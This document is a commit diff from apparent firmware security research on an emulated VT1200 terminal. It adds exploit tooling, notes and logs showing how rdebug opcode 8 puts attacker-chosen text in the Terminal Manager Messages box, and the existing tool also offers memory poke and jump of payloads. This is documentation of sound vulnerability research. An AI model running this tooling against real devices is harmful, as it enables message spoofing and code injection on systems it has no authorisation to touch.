dwt: rdebug opcode 8 puts attacker text in the TM Messages box
No files matched your search
|
After Width: | Height: | Size: 1.4 KiB |
|
After Width: | Height: | Size: 18 KiB |
|
After Width: | Height: | Size: 1.6 KiB |
|
After Width: | Height: | Size: 19 KiB |
@@ -0,0 +1,14 @@
|
||||
[+] challenge fa 9c 30 b0 00 00 2f e1 02 64 a8 c0 fa 94 30 b1
|
||||
[+] reply 82 b7 8f ab e1 35 b5 55 b3 73 7d 30 92 96 86 c6
|
||||
opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00')
|
||||
[.] snapshot trigger msg2_before x1 every 0
|
||||
[>] opcode 8 body 00 00 00 00 00 00 00 15 41 54 54 41 43 4b 45 52 20 4d 45 53 53 41 47 45 20 4f 4e 45 00
|
||||
[.] snapshot trigger msg2_send1 x4 every 2
|
||||
[.] message 1 level=0 b'ATTACKER MESSAGE ONE': Done
|
||||
[>] opcode 8 body 00 00 00 00 00 00 00 10 52 44 45 42 55 47 20 54 45 58 54 20 54 57 4f 00
|
||||
[.] snapshot trigger msg2_send2 x4 every 2
|
||||
[.] message 2 level=0 b'RDEBUG TEXT TWO': Done
|
||||
[>] opcode 8 body 00 00 00 03 00 00 00 15 4c 45 56 45 4c 20 54 48 52 45 45 20 54 45 52 54 49 41 52 59 00
|
||||
[.] snapshot trigger msg2_send3 x4 every 2
|
||||
[.] message 3 level=3 b'LEVEL THREE TERTIARY': Done
|
||||
[.] snapshot trigger msg2_persist x4 every 30
|
||||
|
After Width: | Height: | Size: 1.2 KiB |
|
After Width: | Height: | Size: 18 KiB |
|
After Width: | Height: | Size: 1.4 KiB |
|
After Width: | Height: | Size: 18 KiB |
|
After Width: | Height: | Size: 925 B |
|
After Width: | Height: | Size: 18 KiB |
@@ -31,6 +31,9 @@ Examples:
|
||||
--poke-file 0x01800000 --file harness/hello-world/payload.bin \
|
||||
--jump 0x01800000 --jump-wait 2
|
||||
|
||||
# opcode 8 -- put attacker-chosen text on the terminal's screen
|
||||
dwt/exploit.py --host 192.168.99.2 --message "hello from rdebug"
|
||||
|
||||
# build the frames without opening a socket
|
||||
dwt/exploit.py --opcode 7 --dry-run
|
||||
"""
|
||||
@@ -261,6 +264,30 @@ class RDebug:
|
||||
print(f"[!] poke reply flag={flag:#x}: {payload!r}", file=sys.stderr)
|
||||
self.expect_done(payload if flag == 0 else None)
|
||||
|
||||
def display_message(self, level: int, text: bytes | str,
|
||||
terminate: bool = True) -> bytes:
|
||||
"""Opcode 8: ask the firmware to display *text* (len 1..1024).
|
||||
|
||||
Body layout: ``u32 be level, u32 be len, len raw bytes``. The handler
|
||||
allocates len+2 and copies len bytes, but it does **not** write a
|
||||
terminator (measured: a message sent without one is followed on screen
|
||||
by stale heap bytes). So ``terminate`` (the default) appends one NUL,
|
||||
and the NUL counts toward ``len``. Returns the reply payload (normally
|
||||
``b"Done\\n\\x00"``); raises ProtocolError on an error reply.
|
||||
"""
|
||||
if isinstance(text, str):
|
||||
text = text.encode("latin-1")
|
||||
if terminate and not text.endswith(b"\x00"):
|
||||
text += b"\x00"
|
||||
if not 1 <= len(text) <= MAX_XFER:
|
||||
raise ValueError(f"message length must be 1..{MAX_XFER} bytes")
|
||||
flag, payload = self.command(8, be32(level) + be32(len(text)) + text)
|
||||
if flag != 0:
|
||||
raise ProtocolError(f"display_message: expected Done flag 0, "
|
||||
f"got {flag:#x}: {payload!r}")
|
||||
self.expect_done(payload)
|
||||
return payload
|
||||
|
||||
def jump(self, bit_addr: int, args: list[int], wait: bool = True,
|
||||
wait_timeout: float | None = None) -> tuple[int, bytes] | None:
|
||||
body = be32(bit_addr) + be32(len(args))
|
||||
@@ -302,6 +329,11 @@ def build_frames(args) -> list[bytes]:
|
||||
frames = []
|
||||
if args.opcode is not None:
|
||||
frames.append(be32(args.opcode))
|
||||
if args.message is not None:
|
||||
text = args.message.encode("latin-1")
|
||||
if not text.endswith(b"\x00"):
|
||||
text += b"\x00" # the handler does not add a terminator
|
||||
frames.append(be32(8) + be32(args.message_level) + be32(len(text)) + text)
|
||||
if args.peek is not None:
|
||||
frames.append(be32(2) + be32(args.peek) + be32(args.len))
|
||||
if args.poke is not None:
|
||||
@@ -344,8 +376,13 @@ def main(argv: list[str]) -> int:
|
||||
g.add_argument("--poke-file", type=parse_int,
|
||||
help="poke a whole file: bit address")
|
||||
g.add_argument("--jump", type=parse_int, help="jump: call bit address")
|
||||
g.add_argument("--message", metavar="TEXT",
|
||||
help="opcode 8: display attacker-chosen text on the "
|
||||
"terminal screen")
|
||||
|
||||
ap.add_argument("--len", type=int, default=16, help="peek length (max 1024)")
|
||||
ap.add_argument("--message-level", type=parse_int, default=0,
|
||||
help="opcode 8 first word (default 0; try 0..3)")
|
||||
ap.add_argument("--hex", help="poke payload as hex, e.g. DEADBEEF")
|
||||
ap.add_argument("--file", help="poke-file payload path")
|
||||
ap.add_argument("--arg", type=parse_int, action="append", default=[],
|
||||
@@ -410,6 +447,9 @@ def main(argv: list[str]) -> int:
|
||||
off += len(chunk)
|
||||
print(f"poke-file {args.file}: {len(data)} bytes at "
|
||||
f"{args.poke_file:#010x}: ok")
|
||||
if args.message is not None:
|
||||
rd.display_message(args.message_level, args.message)
|
||||
print(f"message level={args.message_level} {args.message!r}: ok")
|
||||
if args.jump is not None:
|
||||
result = rd.jump(args.jump, args.arg, wait=args.jump_wait > 0,
|
||||
wait_timeout=args.jump_wait or None)
|
||||
|
||||
@@ -310,3 +310,36 @@ Details, addresses, frames and limits: `dwt/notes/VISUAL_INJECTION.md`,
|
||||
`dwt/evidence/visual/`. ROM md5 unchanged; no driver edits; only
|
||||
`VT1200_SKIP_LEVEL1=1` (documented divergence) and a private nvram.
|
||||
|
||||
## 2026-10-18 11:01 EEST — opcode 8 writes the TM Messages box (no payload)
|
||||
|
||||
Facts, all measured over rdebug on the live OS (`VT1200_SKIP_LEVEL1=1`); details
|
||||
and frames in `dwt/notes/DISPLAY_MESSAGE.md`.
|
||||
|
||||
* **Opcode 8 is `rdebug_display_message` and it lands in the Terminal Manager
|
||||
Messages box**, not a popup. Body: `u32be 8 | u32be level | u32be len | len
|
||||
bytes`; reply `Done\n`. `len` is 1..1024.
|
||||
* **The handler does not NUL-terminate.** It `malloc(len+2)` and copies `len`
|
||||
bytes; a message sent without a NUL is followed by stale heap bytes on screen
|
||||
(`…LEVEL ZEROUUUUUU@`). Send `text + NUL` and count the NUL in `len`; max clean
|
||||
text is 1023 bytes.
|
||||
* **Level is a class filter, not a destination.** The append routine is
|
||||
`0x07E6126A` (bit `0x3F309350`), the same one `accept_debug_conn` calls.
|
||||
Per-class enable bits at bit `0xAECE2/3/4` (byte `0xAECE0` = `0x05` on this
|
||||
boot): level 0 enabled, level 1/2 disabled, level 3 unchecked. Observed:
|
||||
levels 0 and 3 render; 1 and 2 are silently dropped.
|
||||
* The pane is a **5-line viewport** (`count-5` at `3F30A940`/`3F30AA40`); older
|
||||
lines scroll out (eight sent → 04..08 visible). Lines persist across
|
||||
repaints (frames 944 and 1938 byte-identical). Not modal; opcode 7 still
|
||||
answers after the messages.
|
||||
* No `dwt/visual/msg.asm` was built: the firmware already provides the
|
||||
primitive. Same connection can poke/jump a payload, then opcode 8.
|
||||
* `dwt/exploit.py` gained only additive `RDebug.display_message()` /
|
||||
`--message` / `--message-level`; `dwt/visual/msg_demo.py` and
|
||||
`dwt/visual/msg_snap.lua` are new host tooling.
|
||||
* Harness note: MAME's taptun name is fixed (`tap-mess-<uid>-0`), so a second
|
||||
MAME needs its own net namespace; this run used one (`vtmsg`) while another
|
||||
MAME held the default tap.
|
||||
|
||||
|
||||
---
|
||||
|
||||
@@ -0,0 +1,160 @@
|
||||
# Attacker-chosen text in the Terminal Manager Messages box (rdebug opcode 8)
|
||||
|
||||
Status: **DONE — opcode 8 (`rdebug_display_message`) puts attacker-chosen text
|
||||
in the Terminal Manager's Messages box.** No payload, no code injection and no
|
||||
debugger breakpoint are involved. The visible result is the same pane the OS
|
||||
uses for `System defaults loaded.`, `TCP/IP is now up.` and
|
||||
`Debug connection from IP host …`.
|
||||
|
||||
ROM untouched (`md5 b46a3e442ccb86134d2356bd70d22fd2`). No driver edits.
|
||||
`VT1200_SKIP_LEVEL1=1` (documented divergence), private `-nvram_directory` and
|
||||
BOOTP/TFTP as in the other OS-path runs.
|
||||
|
||||
## 1. The wire request
|
||||
|
||||
```
|
||||
request = u32be 8 | u32be level | u32be len | len raw bytes
|
||||
```
|
||||
|
||||
`len` counts the raw bytes that follow and must be 1..1024. **The NUL
|
||||
terminator is the sender's job.** The handler `malloc(len + 2)` and copies
|
||||
`len` bytes, but it never writes a terminator. A message sent without one is
|
||||
followed on screen by stale heap bytes (first experiment: the 29-byte
|
||||
`RDEBUG MSG ONE - LEVEL ZERO` rendered as `RDEBUG MSG ONE - LEVEL ZEROUUUUUU@`).
|
||||
Sending `text + NUL` with `len = len(text)+1` renders cleanly. So the largest
|
||||
clean text is 1023 bytes, not 1024.
|
||||
|
||||
Exact requests used (dry run, `dwt/exploit.py --dry-run`):
|
||||
|
||||
```
|
||||
# level 0, "ATTACKER MESSAGE ONE" + NUL (len 0x15)
|
||||
00 00 00 08 00 00 00 00 00 00 00 15
|
||||
41 54 54 41 43 4b 45 52 20 4d 45 53 53 41 47 45 20 4f 4e 45 00
|
||||
|
||||
# level 3, "LEVEL THREE TERTIARY" + NUL (len 0x15)
|
||||
00 00 00 08 00 00 00 03 00 00 00 15
|
||||
4c 45 56 45 4c 20 54 48 52 45 45 20 54 45 52 54 49 41 52 59 00
|
||||
```
|
||||
|
||||
The reply is the usual `"Done\n"` frame. `dwt/exploit.py` now has
|
||||
`RDebug.display_message(level, text, terminate=True)` and a `--message TEXT`
|
||||
option; `terminate=True` appends the NUL (and therefore counts it in `len`).
|
||||
|
||||
## 2. What `level` does
|
||||
|
||||
`level` is a syslog-style message class, not an offset or a length. The append
|
||||
routine is `0x07E6126A` (bit `0x3F309350`) — the same routine `accept_debug_conn`
|
||||
calls for `Debug connection from IP host %s`. On entry it checks per-class
|
||||
enable bits in RAM:
|
||||
|
||||
| level | check (bit address) | on this boot | visible in Messages |
|
||||
|---|---|---|---|
|
||||
| 0 | `@0xAECE2` (byte `0xAECE0` bit 2) | **1** | **yes** |
|
||||
| 1 | `@0xAECE3` (bit 3) | 0 | no |
|
||||
| 2 | `@0xAECE4` (bit 4) | 0 | no |
|
||||
| 3 | no check — always accepted | — | **yes** |
|
||||
|
||||
Measured byte at `0xAECE0` on the live OS (`opcode 2` peek): **`05`** =
|
||||
bit 2 set, bits 3 and 4 clear. That matches the observed result exactly:
|
||||
levels 0 and 3 render; 1 and 2 are silently dropped. Levels 0 and 3 write to
|
||||
the same Messages list — the level chooses *whether* the line is admitted, not
|
||||
*where* it goes.
|
||||
|
||||
Disassembly of the filter: `3F3093B0` (bit `0xAECE2` / `jreq` exit when the
|
||||
class is 0), `3F309430` (`0xAECE3`), `3F3094C0` (`0xAECE4`, `subk 2` /
|
||||
`jreq` exit). Level 3 falls through all of them.
|
||||
|
||||
## 3. Where it appears, and what the pane does
|
||||
|
||||
* **The Terminal Manager Messages box**, below the `Messages` heading and above
|
||||
the Ethernet/IP/LAT block. Nothing else on the screen changes: no dialog, no
|
||||
popup, no status line.
|
||||
* It is **not modal**. The TM keeps running, the rdebug session stays usable
|
||||
(`opcode 7` answers after the messages) and the message is just another line
|
||||
in the list.
|
||||
* The pane is a **5-line viewport**. The append routine computes the top line
|
||||
as `count - 5` (`3F30A940` / `3F30AA40`), which is why sending eight
|
||||
`SCROLL LINE 01…08` messages leaves `SCROLL LINE 04…08` visible. Older lines
|
||||
go out of view (the OS's own `System defaults loaded.` / `Using local fonts.`
|
||||
scroll off the same way); the scrollbar is present. A hard cap on retained
|
||||
lines was not established; the only verified per-message bound is the
|
||||
1024-byte `len` check.
|
||||
* **Persistence:** after the three demo messages the frame at 944 and the frame
|
||||
at 1938 (≈1000 frames later) are byte-identical
|
||||
(`4bf8e2299d4ee704848a0b107bf2a31d`). The line persists and survives the OS's
|
||||
repaints.
|
||||
* **Repaint timing (honest caveat):** in the controlled run the text appeared in
|
||||
the next snapshots (5–14 frames after the send). In one earlier run the very
|
||||
first message was buffered but not drawn for more than 130 frames, until the
|
||||
next message/connection caused a pane redraw. So the list update itself is
|
||||
immediate; when it becomes visible depends on the TM redrawing the pane.
|
||||
|
||||
## 4. Why no payload is needed
|
||||
|
||||
The firmware already ships the primitive. There is no reason to call the
|
||||
append routine from a `jump` payload: `dwt/visual/msg.asm` was **not** built,
|
||||
because opcode 8 reaches the same routine with an attacker-controlled string and
|
||||
returns `Done`. It composes trivially with the visual work — the same rdebug
|
||||
connection can `poke`/`jump` a payload and then send opcode 8; no hook, no
|
||||
resident code, no breakpoint.
|
||||
|
||||
## 5. Reproduce
|
||||
|
||||
The host tap `tap-mess-<uid>-0` is fixed by MAME's taptun provider, so a second
|
||||
MAME cannot share it. This run used a private network namespace with its own
|
||||
`tap-mess-1000-0`, bridge and veth to the host, while another MAME held the
|
||||
default tap. Nothing about the result depends on that choice; on a free tap the
|
||||
ordinary harness command works.
|
||||
|
||||
```sh
|
||||
# terminal (private NVRAM; 192.168.100.2 comes from harness/serve.py --bootp)
|
||||
VT1200_SKIP_LEVEL1=1 \
|
||||
/home/arti/code/k-space/mame0289/vt1200 vt1200 -rompath harness/mame/roms \
|
||||
-sound none -skip_gameinfo -networkprovider taptun -video none -nothrottle \
|
||||
-cfg_directory <cfg> -nvram_directory <nvram> \
|
||||
-debug -debugger none -autoboot_script dwt/visual/msg_snap.lua \
|
||||
-autoboot_delay 0
|
||||
|
||||
# host: one connection, challenge answered by dwt/challenge.respond
|
||||
python3 dwt/visual/msg_demo.py --host 192.168.100.2 --wait 40 \
|
||||
--message '0:ATTACKER MESSAGE ONE' \
|
||||
--message '0:RDEBUG TEXT TWO' \
|
||||
--message '3:LEVEL THREE TERTIARY'
|
||||
```
|
||||
|
||||
`msg_snap.lua` is read-only with respect to the emulated machine: it reads the
|
||||
frame counter and takes `screen:snapshot()` PNGs when the host writes a trigger
|
||||
file (`"<prefix> <count> <stride>"`). No breakpoints, no firmware writes.
|
||||
|
||||
## 6. Evidence
|
||||
|
||||
| file | what it shows |
|
||||
|---|---|
|
||||
| `dwt/evidence/visual/msg_before_frame00824.png` | before: five OS lines, no attacker text |
|
||||
| `dwt/evidence/visual/msg_after_frame00944.png` | after: `ATTACKER MESSAGE ONE`, `RDEBUG TEXT TWO`, `LEVEL THREE TERTIARY` in the Messages box |
|
||||
| `dwt/evidence/visual/msg_persist_frame01938.png` | ≈1000 frames later: identical frame (`md5 4bf8e229…`) |
|
||||
| `dwt/evidence/visual/msg_scroll_frame07979.png` | eight lines sent; viewport shows the last five (`SCROLL LINE 04…08`) |
|
||||
| `dwt/evidence/visual/msg_levels_frame15265.png` | level 1 and 2 sent just before: invisible; level 3 visible |
|
||||
| `dwt/evidence/visual/msg_*_crop.png` | the Messages box crops of the above |
|
||||
| `dwt/evidence/visual/msg_client.log` | challenge, reply and every opcode-8 body on the wire |
|
||||
|
||||
The log was captured as `msg2_client.log`; only the PNG prefix was renamed
|
||||
(`msg2_*` → `msg_*`) when the duplicate run-1 frames were dropped.
|
||||
|
||||
Also `dwt/visual/msg_demo.py` (new host driver) and `dwt/visual/msg_snap.lua`
|
||||
(new snapshot trigger). `dwt/exploit.py` gained only additive support
|
||||
(`display_message`, `--message`, `--message-level`); existing behaviour is
|
||||
unchanged.
|
||||
|
||||
## 7. Caveats
|
||||
|
||||
* The challenge (`dwt_prf`) still has to be answered; `msg_demo.py` uses
|
||||
`dwt/challenge.respond`, the established offline answer. This note is about
|
||||
what the service does once a session is open, not about bypassing the
|
||||
challenge.
|
||||
* Level 1/2 are filtered on this boot because their enable bits are clear.
|
||||
Writing `0xAECE0` to set bits 3/4 would presumably enable them, but that is a
|
||||
runtime config change and was not needed; 0 and 3 are both usable.
|
||||
* The 5-line viewport is measured and matches the `count-5` code. Scrollback
|
||||
beyond the viewport and any ring cap were not exercised (no pointer-input run
|
||||
for the scrollbar).
|
||||
@@ -0,0 +1,139 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Send opcode-8 messages over rdebug and take frame snapshots around them.
|
||||
|
||||
This is the host driver for the Messages-box experiments in
|
||||
``dwt/notes/DISPLAY_MESSAGE.md``. It imports ``dwt/exploit.py`` (which owns
|
||||
the protocol) and patches the challenge answer with ``dwt/challenge.respond``
|
||||
exactly like ``dwt/visual/inject.py`` and ``dwt/solve.py`` -- no debugger, no
|
||||
breakpoints, no RAM patch.
|
||||
|
||||
python3 dwt/visual/msg_demo.py --wait 30 \
|
||||
--message '0:ATTACKER MESSAGE ONE' \
|
||||
--message '0:RDEBUG TEXT TWO' \
|
||||
--message '3:LEVEL THREE TERTIARY' \
|
||||
--before-prefix msg_before --persist-frames 1200 \
|
||||
--persist-prefix msg_persist
|
||||
|
||||
The trigger file is consumed by ``dwt/visual/msg_snap.lua``:
|
||||
``"<prefix> <count> <stride>"`` snapshots ``count`` frames, ``stride`` apart.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
|
||||
HERE = os.path.dirname(os.path.abspath(__file__))
|
||||
DWT = os.path.dirname(HERE)
|
||||
sys.path.insert(0, DWT)
|
||||
|
||||
import challenge # noqa: E402
|
||||
import exploit # noqa: E402
|
||||
|
||||
_orig_answer = exploit.RDebug.answer_challenge
|
||||
|
||||
|
||||
def _answer(self, challenge_bytes: bytes) -> None:
|
||||
self.challenge_raw = challenge.respond(challenge_bytes)
|
||||
print(f"[+] challenge {challenge_bytes.hex(' ')}", flush=True)
|
||||
print(f"[+] reply {self.challenge_raw.hex(' ')}", flush=True)
|
||||
return _orig_answer(self, challenge_bytes)
|
||||
|
||||
|
||||
exploit.RDebug.answer_challenge = _answer
|
||||
|
||||
|
||||
def trigger(path: str, prefix: str, count: int, stride: int) -> None:
|
||||
with open(path, "w") as fh:
|
||||
fh.write(f"{prefix} {count} {stride}")
|
||||
print(f"[.] snapshot trigger {prefix} x{count} every {stride}", flush=True)
|
||||
|
||||
|
||||
def parse_message(spec: str) -> tuple[int, bytes]:
|
||||
level_text, sep, text = spec.partition(":")
|
||||
if not sep:
|
||||
raise argparse.ArgumentTypeError("message must be LEVEL:TEXT")
|
||||
return int(level_text, 0), text.encode("latin-1")
|
||||
|
||||
|
||||
def main(argv: list[str]) -> int:
|
||||
ap = argparse.ArgumentParser(
|
||||
description=__doc__,
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter)
|
||||
ap.add_argument("--host", default="192.168.100.2")
|
||||
ap.add_argument("--port", type=int, default=771)
|
||||
ap.add_argument("--timeout", type=float, default=8.0)
|
||||
ap.add_argument("--wait", type=float, default=0.0,
|
||||
help="seconds to keep retrying connect (0 = one attempt)")
|
||||
ap.add_argument("--trigger", default=None,
|
||||
help="msg_snap.lua trigger file")
|
||||
ap.add_argument("--message", type=parse_message, action="append",
|
||||
default=[], metavar="LEVEL:TEXT",
|
||||
help="send one opcode-8 message (repeatable); a NUL byte "
|
||||
"is appended because the handler does not terminate")
|
||||
ap.add_argument("--before-prefix", default=None)
|
||||
ap.add_argument("--after-prefix", default="msg_send")
|
||||
ap.add_argument("--after-frames", type=int, default=4)
|
||||
ap.add_argument("--after-stride", type=int, default=2)
|
||||
ap.add_argument("--persist-frames", type=int, default=0,
|
||||
help="wait this many emulated frames after the last send")
|
||||
ap.add_argument("--persist-prefix", default="msg_persist")
|
||||
ap.add_argument("--keepalive", action="store_true",
|
||||
help="send opcode 7 after the messages (proves the "
|
||||
"session/process still answers)")
|
||||
a = ap.parse_args(argv[1:])
|
||||
|
||||
deadline = time.monotonic() + a.wait
|
||||
rd = exploit.RDebug(a.host, a.port, a.timeout, False)
|
||||
while True:
|
||||
try:
|
||||
rd.connect()
|
||||
break
|
||||
except OSError as exc:
|
||||
if time.monotonic() >= deadline:
|
||||
print(f"error: no TCP at {a.host}:{a.port}: {exc}",
|
||||
file=sys.stderr)
|
||||
return 2
|
||||
time.sleep(1.0)
|
||||
|
||||
try:
|
||||
flag, payload = rd.liveness(7)
|
||||
print(f"opcode 7 -> flag={flag:#04x} payload={payload.hex(' ')} "
|
||||
f"({payload!r})", flush=True)
|
||||
if a.before_prefix and a.trigger:
|
||||
trigger(a.trigger, a.before_prefix, 1, 0)
|
||||
time.sleep(0.5) # let the frame hook consume it before the send
|
||||
for i, (level, text) in enumerate(a.message, 1):
|
||||
# The handler allocates len+2 but never writes the terminator, so
|
||||
# the sender must include the NUL; otherwise stale heap bytes are
|
||||
# printed after the text.
|
||||
wire = text + b"\x00"
|
||||
body = exploit.be32(level) + exploit.be32(len(wire)) + wire
|
||||
print(f"[>] opcode 8 body {body.hex(' ')}", flush=True)
|
||||
if a.trigger:
|
||||
trigger(a.trigger, f"{a.after_prefix}{i}",
|
||||
a.after_frames, a.after_stride)
|
||||
rd.display_message(level, wire)
|
||||
print(f"[.] message {i} level={level} {text!r}: Done", flush=True)
|
||||
if a.keepalive:
|
||||
flag, payload = rd.liveness(7)
|
||||
print(f"post-message opcode 7 -> flag={flag:#04x} "
|
||||
f"payload={payload.hex(' ')} ({payload!r})", flush=True)
|
||||
if a.persist_frames and a.trigger:
|
||||
# ~60 fps emulated; the clock file is not used here, so this is
|
||||
# wall time at whatever speed MAME runs. The caller picks a value
|
||||
# that covers the intended span.
|
||||
time.sleep(a.persist_frames / 300.0)
|
||||
trigger(a.trigger, a.persist_prefix, 4, 30)
|
||||
time.sleep(0.5)
|
||||
return 0
|
||||
except (OSError, exploit.ProtocolError, ValueError) as exc:
|
||||
print(f"error: {exc}", file=sys.stderr)
|
||||
return 2
|
||||
finally:
|
||||
rd.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main(sys.argv))
|
||||
@@ -0,0 +1,56 @@
|
||||
-- msg_snap.lua -- read-only frame side channel + on-demand screen snapshots.
|
||||
--
|
||||
-- No breakpoints and no firmware memory writes: this only reads the frame
|
||||
-- counter and takes MAME screenshots when the host creates the trigger file.
|
||||
--
|
||||
-- MSG_TRIGGER=<path> file the host writes; content: "<prefix> <count> <stride>"
|
||||
-- MSG_DIR=<dir> where PNGs go
|
||||
--
|
||||
-- The host writes "<prefix> 1 0" for one immediate frame, or e.g.
|
||||
-- "<prefix> 8 5" for eight snapshots five frames apart. The file is removed
|
||||
-- when consumed. Snapshots render through the emulated palette.
|
||||
local machine = manager.machine
|
||||
local dir = os.getenv("MSG_DIR") or "."
|
||||
local trigger = os.getenv("MSG_TRIGGER") or (dir .. "/trigger")
|
||||
local screen = nil
|
||||
for _, s in pairs(machine.screens) do screen = s; break end
|
||||
|
||||
local frame = 0
|
||||
local job = nil
|
||||
|
||||
local function consume_trigger()
|
||||
local fh = io.open(trigger, "r")
|
||||
if not fh then return end
|
||||
local text = fh:read("*a") or ""
|
||||
fh:close()
|
||||
os.remove(trigger)
|
||||
local prefix, count, stride = text:match("(%S+)%s+(%d+)%s+(%d+)")
|
||||
if not prefix then
|
||||
print("msg_snap: bad trigger " .. text)
|
||||
return
|
||||
end
|
||||
job = { prefix = prefix, left = tonumber(count), stride = tonumber(stride), next = frame }
|
||||
print(string.format("msg_snap: frame %d job %s x%d every %d", frame,
|
||||
prefix, job.left, job.stride))
|
||||
end
|
||||
|
||||
emu.register_frame_done(function()
|
||||
frame = frame + 1
|
||||
consume_trigger()
|
||||
if job and frame >= job.next and screen then
|
||||
local out = string.format("%s/%s_frame%05d.png", dir, job.prefix, frame)
|
||||
local ok, err = pcall(function() return screen:snapshot(out) end)
|
||||
print(string.format("msg_snap: frame %d %s ok=%s err=%s", frame,
|
||||
out, tostring(ok), tostring(err)))
|
||||
job.left = job.left - 1
|
||||
job.next = frame + job.stride
|
||||
if job.left <= 0 then job = nil end
|
||||
end
|
||||
if frame % 500 == 0 then
|
||||
local cpu = machine.devices[':maincpu']
|
||||
print(string.format("msg_snap: frame %d PC=%08X", frame,
|
||||
cpu.state['PC'].value))
|
||||
end
|
||||
end, "vt1200-msg-snap")
|
||||
|
||||
if machine.debugger then machine.debugger.execution_state = 'run' end
|
||||